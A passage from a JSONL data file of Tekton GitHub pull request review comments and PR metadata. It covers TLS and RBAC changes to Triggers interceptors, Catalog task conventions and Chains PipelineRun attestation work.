726538282, "created_at": "2021-10-11T20:05:18Z", "line": 243, "path": "pkg/sink/sink.go", "pr_number": 1232, "repo": "triggers"} +{"author": "dibyom", "body": "done!", "comment_id": 726539163, "created_at": "2021-10-11T20:07:14Z", "line": null, "path": "pkg/sink/sink.go", "pr_number": 1232, "repo": "triggers"} +{"author": "dibyom", "body": "ack. will do in a new PR", "comment_id": 726540092, "created_at": "2021-10-11T20:09:11Z", "line": 334, "path": "pkg/sink/sink.go", "pr_number": 1232, "repo": "triggers"} +{"author": "dibyom", "body": "I've removed the types from v1alpha1. They are only available in v1beta1\r\n", "comment_id": 726542138, "created_at": "2021-10-11T20:13:39Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/event_listener_types.go", "pr_number": 1232, "repo": "triggers"} +{"author": "dibyom", "body": "Not sure, its just what the hack/update-deps.sh script is doing. (I've seen the x/crypto/LICENSE being added/deleted a few times before).", "comment_id": 726542606, "created_at": "2021-10-11T20:14:43Z", "line": 1, "path": "third_party/vendor/golang.org/x/crypto/LICENSE", "pr_number": 1232, "repo": "triggers"} +{"author": "wlynch", "body": "```suggestion\r\n[TEP-0053](https://github.com/tektoncd/community/blob/main/teps/0053-nested-triggers.md). `TriggerGroups` allow for \r\n```", "comment_id": 726566892, "created_at": "2021-10-11T21:04:11Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 1232, "repo": "triggers"} +{"author": "jeffmaury", "body": "Trying to update the JSON schema bundled with the IntelliJ and VSCode tooling but realized both `Triggers` and `TriggerGroups` fields are required. Shouldn't we add the `omitempty` annotation ?", "comment_id": 733859861, "created_at": "2021-10-21T16:41:26Z", "line": 63, "path": "pkg/apis/triggers/v1beta1/event_listener_types.go", "pr_number": 1232, "repo": "triggers"} +{"author": "dibyom", "body": "Yup we should - they aren't both required in the sense that the validation will both are not provided.", "comment_id": 734006843, "created_at": "2021-10-21T20:02:55Z", "line": 63, "path": "pkg/apis/triggers/v1beta1/event_listener_types.go", "pr_number": 1232, "repo": "triggers"} +{"author": "dibyom", "body": "IMO we should give this a more explicit name than SVC name e.g. INTERCEPTOR_TLS_SECRET or something like that", "comment_id": 846353360, "created_at": "2022-04-08T17:45:15Z", "line": null, "path": "cmd/interceptors/main.go", "pr_number": 1333, "repo": "triggers"} +{"author": "dibyom", "body": "question: is it necessary to change the port?", "comment_id": 846354900, "created_at": "2022-04-08T17:47:30Z", "line": 47, "path": "cmd/interceptors/main.go", "pr_number": 1333, "repo": "triggers"} +{"author": "dibyom", "body": "We could simplify this to \r\n```\r\nsecret.Data = map[string][]byte{\r\n\t\t\tcertresources.ServerKey: serverKey,\r\n\t\t\tcertresources.ServerCert: serverCert,\r\n\t\t\tcertresources.CACert: caCert,\r\n\t\t},\r\n```", "comment_id": 846355346, "created_at": "2022-04-08T17:48:08Z", "line": null, "path": "cmd/interceptors/main.go", "pr_number": 1333, "repo": "triggers"} +{"author": "dibyom", "body": "I don't think we should change the role to be able to update all secrets. Instead create another rule that can update the specific secret that we need", "comment_id": 846356052, "created_at": "2022-04-08T17:49:17Z", "line": 83, "path": "config/200-clusterrole.yaml", "pr_number": 1333, "repo": "triggers"} +{"author": "dibyom", "body": "Should we add a certs suffix to make it clearer what this does?\r\n```suggestion\r\n name: tekton-triggers-core-interceptors-certs\r\n```", "comment_id": 846361484, "created_at": "2022-04-08T17:57:29Z", "line": null, "path": "config/interceptors/interceptor-secrets.yaml", "pr_number": 1333, "repo": "triggers"} +{"author": "dibyom", "body": "hmm..we'd have to be a bit careful here...if we move this to only support `https`, anyone who has written a cluster interceptor will not be able use Triggers until they upgrade their code. Should we support both for a release or two?", "comment_id": 846362790, "created_at": "2022-04-08T17:59:28Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/cluster_interceptor_types.go", "pr_number": 1333, "repo": "triggers"} +{"author": "dibyom", "body": "Why do we need to disable this check?", "comment_id": 846363212, "created_at": "2022-04-08T18:00:06Z", "line": null, "path": "pkg/interceptors/interceptors.go", "pr_number": 1333, "repo": "triggers"} +{"author": "dibyom", "body": "There is quite a bit of logic here...I'd move it to its own function for clarity.", "comment_id": 846363655, "created_at": "2022-04-08T18:00:46Z", "line": null, "path": "cmd/interceptors/main.go", "pr_number": 1333, "repo": "triggers"} +{"author": "savitaashture", "body": "I see `tekton-triggers-core-interceptors` cluster role is only used for `tekton-triggers-core-interceptors` deployment so i believe this is for specified one only\r\n\r\nLet me know if this is your concern or something else ", "comment_id": 847215747, "created_at": "2022-04-11T11:18:35Z", "line": 83, "path": "config/200-clusterrole.yaml", "pr_number": 1333, "repo": "triggers"} +{"author": "savitaashture", "body": "Ah i see\r\n\r\nOkay so do you mean we need to have support for both HTTP and HTTPS right/\r\n\r\nIf thats the case we need to take input from deplpyment yaml to know whether they want HTTP or HTTPS\r\nShall i change implementation that way ?", "comment_id": 847225792, "created_at": "2022-04-11T11:31:31Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/cluster_interceptor_types.go", "pr_number": 1333, "repo": "triggers"} +{"author": "savitaashture", "body": "In order to make it sync with `https` as `https` usually run on `8443` or `443` so just modified ", "comment_id": 847236052, "created_at": "2022-04-11T11:45:11Z", "line": 47, "path": "cmd/interceptors/main.go", "pr_number": 1333, "repo": "triggers"} +{"author": "savitaashture", "body": "Modified \r\nPTAL", "comment_id": 848000347, "created_at": "2022-04-12T06:00:21Z", "line": null, "path": "cmd/interceptors/main.go", "pr_number": 1333, "repo": "triggers"} +{"author": "dibyom", "body": "Right the concern is that this allows the core interceptor server access to update any secret in the cluster which is a bit scary. What we should do is to make sure it can only update the TLS secret for the cluster interceptor.\r\nSee the example here where the webhook role can only update the webhook-certs secret using the `resourceName` field: https://github.com/tektoncd/pipeline/blob/main/config/200-role.yaml#L59-L65", "comment_id": 850547654, "created_at": "2022-04-14T15:13:47Z", "line": 83, "path": "config/200-clusterrole.yaml", "pr_number": 1333, "repo": "triggers"} +{"author": "dibyom", "body": "why are we listing all secrets instead of just a get call given that we already know the name?", "comment_id": 850560121, "created_at": "2022-04-14T15:27:05Z", "line": null, "path": "pkg/sink/initialization.go", "pr_number": 1333, "repo": "triggers"} +{"author": "dibyom", "body": "we discussed this in the WG - we should take the input for whether it is HTTP/HTTPS from interceptor CRD itself.", "comment_id": 850576802, "created_at": "2022-04-14T15:45:50Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/cluster_interceptor_types.go", "pr_number": 1333, "repo": "triggers"} +{"author": "dibyom", "body": "also the fact that the EL has to know the exact secret name for the core interceptors seems not ideal. Ideally, the EL should be able to pick up where to pick up the certData from the CRD itself (e.g. the webhooks contain a caCert field with this info)", "comment_id": 850578739, "created_at": "2022-04-14T15:48:06Z", "line": null, "path": "pkg/sink/initialization.go", "pr_number": 1333, "repo": "triggers"} +{"author": "savitaashture", "body": "@dibyom Removed setting default port because earlier if no port specified the default port 80 use to set to svc.Port using setDefaults\r\nBut now default port will change based on caBundle and caBundle for clusterintercptor will be populated little late than webhook execution\r\n\r\nSo thats the reason removed defaulting from here and added as part of [cluster_interceptor_types.go](https://github.com/tektoncd/triggers/pull/1333/files?show-deleted-files=true&show-viewed-files=true&file-filters%5B%5D=#diff-dd761b819fad42dcd5732dbd8fc12671dd1caa5ad8b0d8bd1870a92861e9a303R130-R139) \r\n\r\nScenario :\r\n\r\n1. if port specified as part of clusterintercepor spec then use that port\r\n2. If no port specified and cabundle is specified then use `8443` port as default\r\n3. If no port and cabundle is specified then use `80` port as default", "comment_id": 854281449, "created_at": "2022-04-20T15:33:46Z", "line": 26, "path": "pkg/apis/triggers/v1alpha1/cluster_interceptor_defaults.go", "pr_number": 1333, "repo": "triggers"} +{"author": "savitaashture", "body": "@dibyom \r\nThis is the build issue\r\n```\r\npkg/interceptors/interceptors.go:182:23: G402: TLS MinVersion too low. (gosec)\r\n\t\t\t\tTLSClientConfig: &tls.Config{\r\n\t\t\t\t\tRootCAs: certPool,\r\n\t\t\t\t},\r\n```", "comment_id": 854317639, "created_at": "2022-04-20T16:09:44Z", "line": null, "path": "pkg/interceptors/interceptors.go", "pr_number": 1333, "repo": "triggers"} +{"author": "savitaashture", "body": "@dibyom added [MinVersion](https://github.com/tektoncd/triggers/pull/1333/files?show-deleted-files=true&show-viewed-files=true&file-filters%5B%5D=#diff-706a824f91e384361f83950baa4b8624bd38da1ec63805d8c15ec8037502a931R184) to avoid build failure\r\nRef: https://golang.hotexamples.com/examples/crypto.tls/Config/MinVersion/golang-config-minversion-method-examples.html\r\n\r\nPTAL\r\nThank you", "comment_id": 855351146, "created_at": "2022-04-21T16:01:05Z", "line": null, "path": "pkg/interceptors/interceptors.go", "pr_number": 1333, "repo": "triggers"} +{"author": "dibyom", "body": "This should be in its own function e.g. updateCRDWithCaCert or something like that", "comment_id": 859220764, "created_at": "2022-04-26T23:24:08Z", "line": null, "path": "cmd/interceptors/main.go", "pr_number": 1333, "repo": "triggers"} +{"author": "dibyom", "body": "Question: Wouldn't this create a new cert on each restart - Also if we have multiple replicas of the Core interceptor server running, wouldn't they overwrite each other? I think we might want to see if the certs already exist and are valid, if they do then we should just use them instead of creating a new one each time", "comment_id": 859221783, "created_at": "2022-04-26T23:26:34Z", "line": null, "path": "cmd/interceptors/main.go", "pr_number": 1333, "repo": "triggers"} +{"author": "dibyom", "body": "minor: could we extract this to a const and use that instead of copying this large string everywhere?", "comment_id": 859223294, "created_at": "2022-04-26T23:30:21Z", "line": null, "path": "pkg/interceptors/interceptors_test.go", "pr_number": 1333, "repo": "triggers"} +{"author": "savitaashture", "body": "@dibyom will create an issue to handle it in separate PR ", "comment_id": 859989773, "created_at": "2022-04-27T16:14:38Z", "line": 185, "path": "cmd/interceptors/main.go", "pr_number": 1333, "repo": "triggers"} +{"author": "savitaashture", "body": "Yes you are right :+1: \r\n\r\nAs discussed in Wg call added condition check to verify existence of certs and if it is there no need to create\r\n\r\n**Pending:** Certs validation and Rotation will create an issue to track this\r\n\r\nThank you", "comment_id": 859991684, "created_at": "2022-04-27T16:16:40Z", "line": null, "path": "cmd/interceptors/main.go", "pr_number": 1333, "repo": "triggers"} +{"author": "dibyom", "body": "I think we have to update this - creating a new client here means we will ignore all of the config options that we set in the already passed in HTTP client (such as the timeout values). Creating a new HTTP client per call means we can't reuse the underlying connections so we might be limiting the number of calls from the EL to the interceptor.\r\n\r\nI think we'd have to add in the certs in the `sinker.Start` function - we could pass in a `clusterinterceptorlister` as an arg to the sinker struct - list all the clusterinterceptors, get the caCert and add it to the certPool. and then create a httpClient with all the certs. (This does mean that if we add a new interceptor in the middle, we'd have to restart each EL.\r\n\r\n\r\n(Ideally in the future we'd have something that listens for changes to interceptors and updates the httpClient with newCerts on the fly)", "comment_id": 860300623, "created_at": "2022-04-27T22:49:05Z", "line": null, "path": "pkg/interceptors/interceptors.go", "pr_number": 1333, "repo": "triggers"} +{"author": "dibyom", "body": "could you open an issue to track?", "comment_id": 860302227, "created_at": "2022-04-27T22:52:39Z", "line": 185, "path": "cmd/interceptors/main.go", "pr_number": 1333, "repo": "triggers"} +{"author": "dibyom", "body": "can we use logger as we do in the rest of the function vs log.Printf", "comment_id": 860302841, "created_at": "2022-04-27T22:53:56Z", "line": null, "path": "cmd/interceptors/main.go", "pr_number": 1333, "repo": "triggers"} +{"author": "savitaashture", "body": "@dibyom Yes i agree with you\r\nIt overrides previous given values \r\n\r\nUpdated code PTAL :pray: \r\nThank you", "comment_id": 861933851, "created_at": "2022-04-29T15:50:52Z", "line": null, "path": "pkg/interceptors/interceptors.go", "pr_number": 1333, "repo": "triggers"} +{"author": "dibyom", "body": "Hmm why do we have 0600?", "comment_id": 862122419, "created_at": "2022-04-29T20:19:33Z", "line": null, "path": "cmd/interceptors/main.go", "pr_number": 1333, "repo": "triggers"} +{"author": "savitaashture", "body": "if given file permission is more than 600 the its giving security issue during build\r\n```\r\ncmd/interceptors/main.go:211:11: G306: Expect WriteFile permissions to be 0600 or less (gosec)\r\n\tif err = ioutil.WriteFile(certFile, serverCert, 0644); err != nil {\r\n\t ^\r\n```\r\nFor now instead of using 644 i m using 600 and removing `//nolint:gosec` \r\nUpdated main.go \r\n\r\nThanks for pointing it out :+1: I forgot to remove it earlier ", "comment_id": 862642723, "created_at": "2022-05-02T07:32:48Z", "line": null, "path": "cmd/interceptors/main.go", "pr_number": 1333, "repo": "triggers"} diff --git a/raw/impl_prs.jsonl b/raw/impl_prs.jsonl new file mode 100644 index 0000000..d12cd36 --- /dev/null +++ b/raw/impl_prs.jsonl @@ -0,0 +1,254 @@ +{"additions": 167, "body": "# Changes\r\n\r\nThe tkn task will be able to work with a kubeconfig for a cluster so that it can operate on it. The following task can also accept a SCRIPT as input so that we can run multiple tkn commands.\r\n\r\nCloses #405 \r\n\r\nSigned-off-by: vinamra28 \r\n\r\n/cc @sbwsg @vdemeester \r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [X] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [X] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [X] Complies with [Catalog Orgainization TEP][TEP], see [example]. **Note** [An issue has been filed to automate this validation][validation]\r\n - [X] File path follows `///name.yaml`\r\n - [X] Has `README.md` at `///README.md`\r\n - [X] Has mandatory `metadata.labels` - `app.kubernetes.io/version` the same as the `` of the resource\r\n - [X] Has mandatory `metadata.annotations` `tekton.dev/pipelines.minVersion`\r\n - [X] mandatory `spec.description` follows the convention\r\n\r\n ```\r\n\r\n spec:\r\n description: >-\r\n one line summary of the resource\r\n\r\n Paragraph(s) to describe the resource.\r\n ```\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/catalog/blob/master/CONTRIBUTING.md)\r\nfor more details._\r\n\r\n---\r\n\r\n[TEP]: https://github.com/tektoncd/community/blob/master/teps/0003-tekton-catalog-organization.md\r\n[example]: https://github.com/tektoncd/catalog/tree/master/task/git-clone/0.1\r\n[validation]: https://github.com/tektoncd/catalog/issues/413\r\n", "created_at": "2020-08-22T17:01:57Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 5, "labels": ["size/L", "lgtm", "approved"], "linked_issues": [405], "merged_at": "2020-10-22T10:02:19Z", "pr_number": 499, "repo": "catalog", "review_decision": "APPROVED", "reviewer_logins": ["divyansh42", "vdemeester"], "title": "Add support to mount kubeconfig in `tkn` task"} +{"additions": 160, "body": " - Initially all tags were mapped to categories in Hub, for e.g. [config.yaml](https://github.com/tektoncd/hub/blob/master/config.yaml),\r\n so whenever a new tag was added in a task it was mapped to a category called `others`.\r\n Hence before every release we had to manually map these new tags to some category,\r\n hence after the discussion in Catalog and Hub WG, a proposal was created for adding\r\n a category as an annotation.\r\n\r\n - PR to update the [TEP-0003-Tekton Catalog Organization](https://github.com/tektoncd/community/pull/352)\r\n - [Predefined Category List](https://docs.google.com/document/d/1lR2YfyOK-eQqgMncbw3tbymfp6tEDfWKLr53rIZsfo8/edit)\r\n\r\nSigned-off-by: Puneet Punamiya \r\n\r\n\r\n\r\n# Changes\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [ ] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [ ] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality of task changed or new task added)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Complies with [Catalog Organization TEP][TEP], see [example]. **Note** [An issue has been filed to automate this validation][validation]\r\n - [ ] File path follows `///name.yaml`\r\n - [ ] Has `README.md` at `///README.md`\r\n - [ ] Has mandatory `metadata.labels` - `app.kubernetes.io/version` the same as the `` of the resource\r\n - [ ] Has mandatory `metadata.annotations` `tekton.dev/pipelines.minVersion`\r\n - [ ] mandatory `spec.description` follows the convention\r\n\r\n ```\r\n\r\n spec:\r\n description: >-\r\n one line summary of the resource\r\n\r\n Paragraph(s) to describe the resource.\r\n ```\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/catalog/blob/master/CONTRIBUTING.md)\r\nfor more details._\r\n\r\n---\r\n\r\n[TEP]: https://github.com/tektoncd/community/blob/master/teps/0003-tekton-catalog-organization.md\r\n[example]: https://github.com/tektoncd/catalog/tree/master/task/git-clone/0.1\r\n[validation]: https://github.com/tektoncd/catalog/issues/413\r\n", "created_at": "2021-03-02T13:54:11Z", "deletions": 2, "discovered_via": "tep_file_link", "files_changed": 158, "labels": ["size/L", "lgtm", "approved"], "linked_issues": [], "merged_at": "2021-07-26T12:15:08Z", "pr_number": 658, "repo": "catalog", "review_decision": "APPROVED", "reviewer_logins": ["afrittoli", "vdemeester", "vinamra28"], "title": "Adds `category` field as an annotation as `tekton.dev/categories`"} +{"additions": 120, "body": "\r\n\r\n# Changes\r\n\r\nPreviously we passed params directly into the `script` block of\r\nthe clone step. Because Pipelines doesn't escape variable values\r\nwhen interpolating them the behaviour of the task could be changed\r\nby the contents of a param.\r\n\r\nThis commit changes the way params are provided to the script;\r\ninstead of being interpolated directly they are converted first\r\ninto environment variables and accessed through shell's `${}`\r\nconstruct.\r\n\r\n\r\n# Submitter Checklist\r\n\r\nThere are no behaviour changes to the git-clone tasks themselves.", "created_at": "2021-04-27T19:11:46Z", "deletions": 39, "discovered_via": "tep_file_link", "files_changed": 3, "labels": ["size/L", "lgtm", "approved"], "linked_issues": [], "merged_at": "2021-04-28T16:25:41Z", "pr_number": 711, "repo": "catalog", "review_decision": "COMMENTED", "reviewer_logins": [], "title": "Pass git-clone Params as EnvVars Instead"} +{"additions": 23, "body": "\r\n# Changes\r\n\r\nFollowing TEP 70, `tekton.dev/platforms` annotation can be used to specify on which platforms the resource can be run.\r\n\r\n- add best practices for platform information in the recommendations.md\r\n- add example of usage for tekton.dev/platforms annotation\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [ ] Follows the [authoring recommendations](https://github.com/tektoncd/catalog/blob/main/recommendations.md)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [ ] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality of task changed or new task added)\r\n- [ ] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [ ] Complies with [Catalog Organization TEP][TEP], see [example]. **Note** [An issue has been filed to automate this validation][validation]\r\n - [ ] File path follows `///name.yaml`\r\n - [ ] Has `README.md` at `///README.md`\r\n - [ ] Has mandatory `metadata.labels` - `app.kubernetes.io/version` the same as the `` of the resource\r\n - [ ] Has mandatory `metadata.annotations` `tekton.dev/pipelines.minVersion`\r\n - [ ] mandatory `spec.description` follows the convention\r\n\r\n ```\r\n\r\n spec:\r\n description: >-\r\n one line summary of the resource\r\n\r\n Paragraph(s) to describe the resource.\r\n ```\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/catalog/blob/master/CONTRIBUTING.md)\r\nfor more details._\r\n\r\n---\r\n\r\n[TEP]: https://github.com/tektoncd/community/blob/master/teps/0003-tekton-catalog-organization.md\r\n[example]: https://github.com/tektoncd/catalog/tree/master/task/git-clone/0.1\r\n[validation]: https://github.com/tektoncd/catalog/issues/413\r\n", "created_at": "2021-06-30T17:43:43Z", "deletions": 5, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/S"], "linked_issues": [], "merged_at": "2021-07-01T09:02:06Z", "pr_number": 772, "repo": "catalog", "review_decision": "APPROVED", "reviewer_logins": ["vdemeester", "vinamra28"], "title": "Add documentation about platform information for resources"} +{"additions": 125, "body": "Prior to this change, the Catlin validation only supports directory-based catalog path validation (i.e. `./////.yaml`). The git-based versioning catalog is proposed in [TEP-0115]( https://github.com/tektoncd/community/blob/main/teps/0115-tekton-catalog-git-based-versioning.md), with a new file path layout (i.e. `.////.yaml`).\r\n\r\nThis commit introduces a new flag `versioning` to the `catlin validate` command, indicating the versioning type of the catalog to validate. The value can be set to either `directory` or `git`. The default value is `directory`.", "created_at": "2022-10-04T16:46:22Z", "deletions": 12, "discovered_via": "tep_file_link", "files_changed": 5, "labels": ["approved", "size/L", "lgtm"], "linked_issues": [], "merged_at": "2022-10-07T07:33:33Z", "pr_number": 6, "repo": "catlin", "review_decision": "APPROVED", "reviewer_logins": ["vinamra28"], "title": "[TEP-0115] Git-based Versioning Validation"} +{"additions": 1479, "body": "Adds a set of new features to the signing and storage packages to allow\nextracting chains information and verify the signature.\n", "created_at": "2021-09-30T16:32:44Z", "deletions": 261, "discovered_via": "tep_file_link", "files_changed": 45, "labels": ["size/XL", "lgtm", "approved", "ok-to-test"], "linked_issues": [], "merged_at": "2021-10-19T17:18:34Z", "pr_number": 245, "repo": "chains", "review_decision": "APPROVED", "reviewer_logins": ["priyawadhwa", "rgreinho"], "title": "Add new signing and storage features"} +{"additions": 4502, "body": "[TEP-84](https://github.com/tektoncd/community/blob/main/teps/0084-endtoend-provenance-collection.md) calls for end-to-end provenance collection.\r\n\r\n~~In this POC,~~ Chains is modified to attest PipelineRun resources in addition to TaskRun resources. Three new options are added to the configuration:\r\n\r\n* `artifacts.pipelinerun.format`: The format of the attestation. `tekton` is the default value and, similarly to `artifacts.taskrun.format`, it's simply the json representation of the resource itself. ~~`in-toto` is also partially supported. Further work is needed to convert a PipelineRun resource into https://slsa.dev/provenance/v0.2. (Suggestions please!)~~ `in-toto` is also fully supported.\r\n* `artifacts.pipelinerun.storage`: The place where the attestation will be stored. `tekton`, the default value, causes attestation to be attached to an annotation on the PipelineRun resource, also similarly to `artifacts.taskrun.storage`. `oci` is also supported causing the attestation to be pushed to the corresponding OCI registry.\r\n* `artifacts.pipelinerun.signer`. Just like `artifacts.taskrun.signer`\r\n\r\n[Type hinting](https://github.com/tektoncd/chains/blob/main/docs/config.md#chains-type-hinting) is used for determining the attestation subjects. For PipelineRun attestations, chains relies on the PipelineRun results.\r\n\r\n~~This is a POC meant to gather feedback from the community before proceeding further.~~ This PR is now ready for a full review.", "created_at": "2022-05-02T15:34:41Z", "deletions": 824, "discovered_via": "tep_file_link", "files_changed": 57, "labels": ["lgtm", "size/XXL", "approved", "ok-to-test"], "linked_issues": [], "merged_at": "2022-09-20T20:53:08Z", "pr_number": 436, "repo": "chains", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["bcaton85", "chuangw6", "lcarva", "wlynch"], "title": "TEP-84: PipelineRun Attestations"} +{"additions": 63, "body": "# Changes\r\n\r\nA PipelineRun should only be processed when the underlying TaskRun tasks have been signed. This prevents timing issues where the Chains controller may attempt to push both TaskRun and PipelineRun attestations to an OCI repository at the same time, causing one of them to be lost.\r\n\r\nPrior to this change, a PipelineRun that was not ready to be processed was requeued so it could be re-processed in 15 seconds. Given that this scenario happens often, this caused the Chains controller to be overwhelmed if there were too many TaskRun and/or PipelineRun resources on the cluster.\r\n\r\n~~This commit modifies the logic so when Chains signs a TaskRun, it also updates an annotation, `chains.tekton.dev/child-signed`, on the parent PipelineRun, if any. The annotation update triggers the PipelineRun to be reconciled again. Thus the logic is driven by \"events\" instead of a polling mechanism.~~\r\n\r\nThis commit modifies the logic in three significant ways. First, it removes the polling every 15 seconds. Second, if the PipelineRun cannot be reconciled because the TaskRun is not yet signed, a tracker is created so the PipelineRun controller is called again automatically by knative if the TaskRun changes. Finally, instead of querying the k8s API for the latest version of the TaskRun resource from the PipelineRun controller, an informer is used to minimize API calls.\r\n", "created_at": "2022-09-22T19:08:35Z", "deletions": 17, "discovered_via": "tep_file_link", "files_changed": 4, "labels": ["size/M", "lgtm", "approved"], "linked_issues": [], "merged_at": "2022-10-12T15:09:35Z", "pr_number": 564, "repo": "chains", "review_decision": "APPROVED", "reviewer_logins": ["lcarva", "wlynch"], "title": "Use event updates for PR reconciliation"} +{"additions": 4, "body": "# Changes\r\n\r\nTo match the structure of the buildType of TaskRun attestation, change\r\nthe buildType of PipelineRun attestations from:\r\n https://tekton.dev/attestations/chains/pipelinerun@v2\r\nto:\r\n tekton.dev/v1beta1/PipelineRun\r\n\r\nAlso, remove unused TektonID const. This is leftover from when this value was used for the buildType value of TaskRun attestations.\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n``` release-note\r\nNONE\r\n```\r\n", "created_at": "2022-09-23T18:38:07Z", "deletions": 11, "discovered_via": "tep_file_link", "files_changed": 3, "labels": ["lgtm", "size/S", "approved"], "linked_issues": [], "merged_at": "2022-09-26T14:49:19Z", "pr_number": 568, "repo": "chains", "review_decision": "APPROVED", "reviewer_logins": ["wlynch"], "title": "Update PipelineRun attestation buildType"} +{"additions": 298, "body": "Resolves #561\r\n", "created_at": "2022-09-27T17:44:29Z", "deletions": 21, "discovered_via": "tep_file_link", "files_changed": 3, "labels": ["size/L", "lgtm", "approved"], "linked_issues": [561], "merged_at": "2022-10-04T21:13:31Z", "pr_number": 573, "repo": "chains", "review_decision": "APPROVED", "reviewer_logins": ["wlynch"], "title": "Document PipelineRun attestations"} +{"additions": 764, "body": "\r\n\r\n# Changes\r\n\r\nSupport storing pipelinerun level provenance in grafeas\r\nbackend.\r\n\r\nThere are 3 main aspects of the PR:\r\n- created different BUILD Notes for storing both taskrun and pipelinerun\r\nlevel provenance/occurrence in grafeas that attest the same artifact.\r\n- extracted artifact identifiers from intoto subjects instead of calling\r\nindividual helpers to extract from results.\r\n- changed TektonObject \"GetKind\" method to \"GetGVK\" to get the whole\r\n GroupVersionKind information.\r\n\r\nSigned-off-by: Chuang Wang \r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [ ] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [ ] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [ ] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nSupport Grafeas storage for PipelineRun level provenance\r\n```\r\n", "created_at": "2022-10-05T13:45:48Z", "deletions": 329, "discovered_via": "tep_file_link", "files_changed": 12, "labels": ["lgtm", "size/XXL", "approved"], "linked_issues": [], "merged_at": "2022-10-21T22:11:39Z", "pr_number": 590, "repo": "chains", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["bcaton85", "chuangw6", "lcarva", "wlynch"], "title": "Grafeas storage for PipelineRun-level provenance"} +{"additions": 859, "body": "# Changes\r\n\r\nMaking the following changes:\r\n- Refactor e2e tests to use the generic Tekton Objects\r\n- Add test cases for `PipelineRun`'s in e2e tests\r\n\r\nFixes #562\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [ ] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [ ] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [ ] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\nSupport for `PipelineRun` attestations in the e2e tests.\r\n", "created_at": "2022-10-19T14:20:17Z", "deletions": 367, "discovered_via": "tep_file_link", "files_changed": 13, "labels": ["lgtm", "size/XXL", "approved", "ok-to-test"], "linked_issues": [562], "merged_at": "2022-10-20T19:35:38Z", "pr_number": 598, "repo": "chains", "review_decision": "APPROVED", "reviewer_logins": ["bcaton85", "wlynch"], "title": "Adding pipelinerun attestations to e2e tests"} +{"additions": 87, "body": "\r\n\r\n# Changes\r\n\r\nSupport structured results for PipelineRunObject. Previously PipelineRunObject only supports string types\r\n\r\nFixes #595 \r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes 